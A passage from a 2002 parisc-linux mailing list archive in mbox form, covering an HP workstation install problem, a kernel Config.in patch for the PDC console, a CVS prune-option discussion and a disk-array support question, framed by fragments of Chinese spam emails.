IG9yIFJlZ2lvbqGxINTaT3RoZXLAuNbQzO7QtMTjtcTKobfd06LOxMP7oaNH
YXRvctKy1qez1tbQzsSjrMTjv8m9q09USEVSLcbky/zAudbQzO7QtNbQzsSj
rNLRsbjW0M7EzfjVvteisuGhozxicj4NCiAgICAgIDxicj4NCiAgICAgIKOo
MqOpv+zL2cSjyr2jujxicj4NCiAgICAgIDxicj4NCiAgICAgINLUuvPE48nP
zfjSqteisuHN+NW+yrG08r+qR2F0b3KjrMjnxOO1scewzfjSs8rHs6O8+7XE
16Ky4dKzo6xHYXRvcrvhta+z9tK7uPa0sL/ao6zE49a70qq149K7z8KhsEZJ
TEwgSU6hsaOsxOO1xM/gudjXysHPvs274czu1NrP4NOmwLjE2qGj0ru8/Ljj
tqijrLWxyLvE49KqvOyy6dK7z8LKx7fxu7nT0NCpzNi2qLXE0qrX1Ly6zO6j
rMjnw9zC67XIoaMgDQogICAgICA8YnI+DQogICAgICA8YnI+DQogICAgICCj
qDOjqSDM2LaoxKPKvaO6IDxicj4NCiAgICAgIDxicj4NCiAgICAgIMjnxOO1
scewzfjSs8rHsrvKx7Hq17y1xNeisuHSs6Os0rLDu7nYz7WjrMTjvau54rHq
t8XU2s/g06bAuNbQo6zU2dTaR2F0b3LW0Muru/e21NOmtcTQxc+io6zE47XE
z+C52NfKwc++zbvhzO7U2s/g06bAuMTaoaM8YnI+DQogICAgICA8YnI+DQog
ICAgICCjqDSjqcPcwuu8x9Lko7o8YnI+DQogICAgICA8YnI+DQogICAgICC1
scTj0qq1x8K9xLO49s341b61xNXKu6fKsaOsyOfE47XER2F0b3K/qtfFo6zL
/Lvh0a/OysTjyse38dKqzObE47zH16HD3MLroaPE47/JyMPL+7zH16HSu9Cp
s6PTw7XEw9zC66Os1rvSqrK7yb6z/cbkyv2+3aOsvLSx48Tj1tjXsM+1zbOj
rMTjtcTD3MLr0rKyu7vhtqrKp6GjtbHIu9K70KnW2NKq1cq7p7XEw9zC69fu
usOyu9KqyMPL+7zH0uShoyANCiAgICAgIDxicj4NCiAgICAgIDxicj4NCiAg
ICAgIDxiPjxmb250IHNpemU9IjQiPqOoyP2jqSCwssir0NSjujwvZm9udD48
Zm9udCBzaXplPSIzIj4gPC9mb250PjwvYj48YnI+DQogICAgICA8YnI+DQog
ICAgICC0y7mry77NqLn9ufq8yrmryM+1xDxmb250IGNvbG9yPSIjMDA5OTMz
Ij48Yj50cnVzdC08L2I+PC9mb250Pjxmb250IHNpemU9IjQiPjxiPjxmb250
IGNvbG9yPSIjMDA5OTMzIj5lPC9mb250PjwvYj48L2ZvbnQ+PGZvbnQgY29s
b3I9IiMwMDk5MzMiPjxiPjwvYj48L2ZvbnQ+yM/WpKOsxOO1xMu9yMvQxc+i
us3T0LnYw9zC68rHsru74dC5wra1xKGjIA0KICAgIDwvdGQ+DQogIDwvdHI+
DQo8L3RhYmxlPg0KICA8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4N
Ci8vsObIqLf7o6gxo6kNCnZhciBib29kc2NoYXAgPSAnw+K30c/C1NjM7rHt
1vrK1qOsyMPN+MLnyfq77rj8x+HLybrN09DIpDopJzsgDQpmdW5jdGlvbiBk
Z3N0YXR1cygpDQp7DQogICAgICB3aW5kb3cuc3RhdHVzID0gYm9vZHNjaGFw
Ow0KIHRpbWVySUQ9IHNldFRpbWVvdXQoImRnc3RhdHVzKCkiLCA4MCk7DQp9
DQovL7DmyKi3+6OoMqOpDQo8IS0tDQpkZ3N0YXR1cygpOw0KLy8tLT4NCjwv
c2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==

--= Multipart Boundary 0809021905--


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux-0.9.3.iso installation :Help
Date: Fri, 09 Aug 2002 18:28:47 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020810002847.A0728482A@dsl2.external.hp.com>
References: <FD93D5954435D411BBDB00D0B747A8C106212D87@herge.belgium.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621609 12211 80.91.229.3 (22 Nov 2014 02:00:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:09 +0000 (UTC)
Cc: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
To: "MONTESANTI,DOMENICO (HP-Belgium,ex1)" <domenico_montesanti@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  9 18:28:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A0728482A; Fri,  9 Aug 2002 18:28:47 -0600 (MDT)
In-Reply-To: Message from "MONTESANTI,DOMENICO (HP-Belgium,ex1)" <domenico_montesanti@hp.com> 
   of "Fri, 09 Aug 2002 11:05:14 +0200." <FD93D5954435D411BBDB00D0B747A8C106212D87@herge.belgium.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15780

"MONTESANTI,DOMENICO (HP-Belgium,ex1)" wrote:
> Hi,
>  
> To start in the linux world,I am trying to install the palinux on my
> workstation (HP9000/B160 L).
> I performed the following steps:
>  
> Downloaded de image from the servercoe.atl.hp.com web site

Can you tell us the image name?
You can also look at www.parisc-linux.org for Debian 3.0 hppa images.

> IPL error: bad LIF magic.
> Error Reading IPL

that's typically a problem of the CD not being burned correctly.
Are you using linux to burn the CD?

You might search the mail archives since other folks have seen
this kind of problem as well:
	http://lists.parisc-linux.org/

grant


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "Config.in" File in linux/drivers/char has a bug !
Date: Sun, 11 Aug 2002 19:03:58 +0200
Organization: private
Lines: 53
Approved: news@gmane.org
Message-ID: <3D5698FE.828680F5@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621609 12215 80.91.229.3 (22 Nov 2014 02:00:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:09 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 11 11:04:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DEEC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Aug 2002 11:04:07 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020811170400.SKPP2227.viefep16-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 11 Aug 2002 19:04:00 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15781

Hello PA-RISC community !

After this CVS update, I could not find my PDC_CONSOLE
driver to configure any more. I think, the part 

   if [ "$CONFIG_PARISC" = "y" ]; then
     bool '  PDC software console support' CONFIG_PDC_CONSOLE
   fi

is inserted at a wrong place, it is nested with the

if [ "$CONFIG_FOOTBRIDGE" = "y" ]; then
	:
	:
fi

... which is wrong for HP PDC console.
Or do I not understand the "FOOTBRIDGE" stuff ?

So the fix should be:

Index: drivers/char/Config.in
===================================================================
RCS file: /var/cvs/linux/drivers/char/Config.in,v
retrieving revision 1.23
diff -u -r1.23 Config.in
--- drivers/char/Config.in      4 Aug 2002 22:58:10 -0000       1.23
+++ drivers/char/Config.in      11 Aug 2002 17:03:04 -0000
@@ -114,9 +114,9 @@
          bool '        Enable Au1000 serial console'
CONFIG_AU1000_SERIAL_CONSOLE
      fi
    fi
-   if [ "$CONFIG_PARISC" = "y" ]; then
-     bool '  PDC software console support' CONFIG_PDC_CONSOLE
-   fi
+fi
+if [ "$CONFIG_PARISC" = "y" ]; then
+   bool '  PDC software console support' CONFIG_PDC_CONSOLE
 fi
 if [ "$CONFIG_MIPS_ITE8172" = "y" ]; then
    bool 'Enable Qtronix 990P Keyboard Support' CONFIG_QTRONIX_KEYBOARD


With friendly regards
Christoph P

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updated parisc-linux .cvsrc
Date: 11 Aug 2002 17:23:14 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <1029108194.637.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621610 12216 80.91.229.3 (22 Nov 2014 02:00:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 11 17:23:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DFCC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Aug 2002 17:23:15 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 196322E3D8
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 Aug 2002 17:23:14 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15782

Thibaut found an interesting problem today when he checked out a fresh
linux tree from cvs.  The build failed because he had an empty
scripts/cramfs directory.  I looked at my tree and did not have this
directory so the kernel would build fine for me.  Also cvs update did
not update my tree with this directory either.

Matt Taggart finally figured out that the update had the -P (prune)
option, and the checkout option did not.  Adding the -P option to the
checkout command fixed this problem.

I have updated the build-tools/cvsrc in the cvs repository that everyone
should be using ... please update if you are using cvs.

Thanks,

- Ryan



From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Updated parisc-linux .cvsrc
Date: Mon, 12 Aug 2002 15:58:40 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20020812155838.A897@neep.com.au>
References: <1029108194.637.9.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621610 12219 80.91.229.3 (22 Nov 2014 02:00:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 02:00:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (unknown [203.38.119.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id C31604829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 02:00:35 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id PAA31930
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Aug 2002 15:58:43 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1029108194.637.9.camel@beavis>; from rbradetich@uswest.net on Sun, Aug 11, 2002 at 05:23:14PM -0600
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15783

Ryan Bradetich said:
> Matt Taggart finally figured out that the update had the -P (prune)
> option, and the checkout option did not.  Adding the -P option to the
> checkout command fixed this problem.

In my experience it has been more common to fix the repository.  =)

> I have updated the build-tools/cvsrc in the cvs repository that everyone
> should be using ... please update if you are using cvs.

Thanks for doing that Ryan.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Updated parisc-linux .cvsrc
Date: Mon, 12 Aug 2002 10:21:35 +0200
Organization: ESIEE
Lines: 17
Approved: news@gmane.org
Message-ID: <20020812102135.6bb1cff0.varenet@esiee.fr>
References: <1029108194.637.9.camel@beavis>
	<20020812155838.A897@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621610 12226 80.91.229.3 (22 Nov 2014 02:00:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 02:21:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A7C24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 02:21:39 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g7C8LZIA013846;
	Mon, 12 Aug 2002 10:21:36 +0200
In-Reply-To: <20020812155838.A897@neep.com.au>
X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15784

On Mon, 12 Aug 2002 15:58:40 +0800
Andrew Shugg <andrew@neep.com.au> wrote:

> Ryan Bradetich said:
> > Matt Taggart finally figured out that the update had the -P (prune)
> > option, and the checkout option did not.  Adding the -P option to the
> > checkout command fixed this problem.
> 
> In my experience it has been more common to fix the repository.  =)
Heh, sure, but this is not actually *possible*, so to speak: Matt pointed out that folders can't be removed from the repository, since they are mandatory to keep the 'Attic' in them.
That allows anyone to grab an old version of the kernel, using cvs tags...


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Updated parisc-linux .cvsrc
Date: Mon, 12 Aug 2002 16:56:52 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20020812165650.C897@neep.com.au>
References: <1029108194.637.9.camel@beavis> <20020812155838.A897@neep.com.au> <20020812102135.6bb1cff0.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621611 12229 80.91.229.3 (22 Nov 2014 02:00:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 02:59:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (unknown [203.38.119.88])
	by dsl2.external.hp.com (Postfix) with ESMTP id 156414829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 02:58:56 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id QAA32744
	for parisc-linux@lists.parisc-linux.org; Mon, 12 Aug 2002 16:56:55 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020812102135.6bb1cff0.varenet@esiee.fr>; from varenet@esiee.fr on Mon, Aug 12, 2002 at 10:21:35AM +0200
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15785

Thibaut VARENE said:
> > In my experience it has been more common to fix the repository.  =)
> 
> Heh, sure, but this is not actually *possible*, so to speak: Matt
> pointed out that folders can't be removed from the repository, since
> they are mandatory to keep the 'Attic' in them.
> 
> That allows anyone to grab an old version of the kernel, using cvs
> tags...

Oh I know, I'm aware of that, it was more of a joke.  Some people use
CVS in a very carefree manner (shared bitbucket) and aren't really too
worried about breaking old versions.  Why do they use CVS then?  Good
question ... because it's there, I suppose.

Of course this is one of the main weaknesses in CVS, in case anyone out
there thinks it's the best thing since sliced bread: no revision control
on directories (folders/containers/collections/whatever).  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux
Date: Mon, 12 Aug 2002 16:27:49 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <000b01c24214$d2c8f680$a52efea9@kpnqwest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000C_01C2421D.348D5E80"
X-Trace: ger.gmane.org 1416621611 12232 80.91.229.3 (22 Nov 2014 02:00:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 09:28:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.KPNQwest.pt (smtp1.KPNQwest.pt [193.126.4.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EB9C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 09:28:24 -0600 (MDT)
Original-Received: from relay5.KPNQwest.pt (ns2.EUnet.pt [193.126.1.97])
	by smtp.KPNQwest.pt (8.11.6/8.11.6) with ESMTP id g7CFSLH21440
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:28:22 +0100 (WET DST)
Original-Received: from LTP004440 (kq-it-gw.Lisbon.KPNQwest.pt [193.126.1.17])
	by relay5.KPNQwest.pt (8.11.6/8.11.6) with SMTP id g7CFRjQ18645
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 16:27:45 +0100 (WET DST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15786

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C2421D.348D5E80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello,

I would like to know if the Linux version for HP PA-RISC servers suppors
FC60 Disk arrays.

Thanks in advance.

Antonio

------=_NextPart_000_000C_01C2421D.348D5E80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D370102515-12082002>Hello,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D370102515-12082002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D370102515-12082002>I =
would like to know=20
if the Linux version for HP PA-RISC servers suppors FC60 Disk=20
arrays.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D370102515-12082002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D370102515-12082002>Thanks =
in=20
advance.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D370102515-12082002></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D370102515-12082002>Antonio</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_000C_01C2421D.348D5E80--



From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Mon, 12 Aug 2002 23:38:26 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020812154026.3588F4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0812022338"
X-Trace: ger.gmane.org 1416621611 12233 80.91.229.3 (22 Nov 2014 02:00:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:11 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 09:40:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.44.120])
	by dsl2.external.hp.com (Postfix) with SMTP id 3588F4829
